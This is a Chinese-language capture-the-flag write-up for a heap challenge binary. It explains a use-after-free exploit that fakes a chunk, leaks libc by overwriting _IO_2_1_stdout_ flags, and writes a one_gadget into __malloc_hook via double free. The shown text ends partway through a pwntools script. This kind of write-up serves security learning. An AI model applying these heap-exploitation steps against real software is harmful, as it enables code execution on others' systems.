1.保护机制
[*] '/home/yzl/Documents/delta/weapon/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
2.漏洞分析
主要是一个uaf
难点主要在于没有输出函数,并且限制0< chunk size <=0x60。
3.漏洞利用
1) 伪造small chunk,free,fd、bk指针指向 libc
先构造一个0x20的bin 链表
再次malloc 0x18就能取得0x555555757100 处的chunk,这样我们就能将下面0x71的chunk 的size改为0xb1
再次free就能得到libc
2)修改 _IO_2_1_stdout_结构体 中的flag域,从而将libc泄露出来
libc地址用一下就好,把size改回0x70,把libc的\x78\x1b改为\xdd\x25,5dd是偏移,2是随便猜的,1/16的几率,多试几次就好
double free,控制_IO_2_1_stdout_结构体附近的内存,把flag改为0xfbad1800,至于为什么---->大佬这么说。但是我不知道为啥,并不能将_IO_write_base的最低位给修改了,但是不影响
然后会泄露出一坨东西,随便找一个libc地址然后就能得到libc_base
就它了
3) 向 _malloc_hook 写入one_gadget,getshell
double free,直接向__malloc_hook_写就好了
exp
from pwn import *
import LibcSearcher as ls
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p = process('./pwn')
#p=remote('139.180.216.34',8888)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def create(index, size, name, choise=0):
if choise==0:
p.sendlineafter('choice >> \n', '1')
p.sendlineafter('wlecome input your size of weapon: ', str(size